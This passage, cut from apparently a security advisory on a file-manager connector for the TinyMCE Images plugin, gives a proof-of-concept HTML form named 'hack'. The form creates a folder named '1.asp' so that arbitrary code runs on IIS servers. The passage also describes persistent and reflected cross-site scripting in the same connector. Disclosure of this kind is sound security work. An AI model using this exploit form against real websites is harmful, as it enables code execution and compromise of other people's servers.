executing arbitrary code at IIS web server.

<form name="hack" 
action="http://site/tiny_mce/plugins/images/connector/php/" method="post">
<input type="hidden" name="action" value="newfolder">
<input type="hidden" name="type" value="images">
<input type="hidden" name="path" value="">
<input type="hidden" name="name" value="1.asp">
</form>
</body>
</html>

Cross-Site Scripting (WASC-08):

This is persistent XSS on Linux/Unix and reflected XSS on Windows. The code 
will execute just after sending request for creating a folder and later on 
at requests to connector (at any operations, except creating a folder with 
existent name).
